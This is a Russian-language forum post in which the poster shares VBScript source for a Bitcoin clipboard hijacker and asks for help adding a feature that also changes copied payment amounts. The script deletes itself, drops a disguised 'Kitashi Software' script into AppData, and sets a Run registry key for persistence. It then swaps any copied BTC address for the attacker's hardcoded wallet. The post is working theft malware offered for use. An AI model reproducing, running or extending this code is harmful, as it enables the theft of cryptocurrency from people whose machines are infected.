Ребят привет, имеем скрипт:
Суть такая, это часть клиппера, если он обнаруживает кошель btc в клипборде, то меняет его на ваш кошель. Очень нужна помощь, так как совсем не шарю в vbs, нужно дописать строки, чтобы при обнаружении в clipboard значения 0.001521 например, оно заменялось например на 0.01521. Подскажите как это сделать? Проблема в том, что тулза эта нужна уже совсем скоро, времени нет разбираться, поэтому если не сложно, кто знаком с vbs, дайте знать как это запилить.
Код с оформлением (BB-коды):
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
MyBTCAddress = "1M7rz9mkRqrN93Uymmo2Mw7sgmKdpQgCEe"
BTCFolder = objWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Kitashi Corp"
BTC = BTCFolder & "\Kitashi Software.vbs"
RegKeyName = "Kitasho Software Corp"
If Not objFSO.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)
Sub CreateBTCs
Set FileBTC = objFSO.CreateTextFile(BTC, True)
FileBTC.WriteLine "On Error Resume Next"
FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
FileBTC.WriteLine "Do"
FileBTC.WriteLine "wscript.sleep(500)"
FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "Loop"
FileBTC.Close
End Sub
CreateBTCs
objWSH.run chr(34) & BTC & chr(34)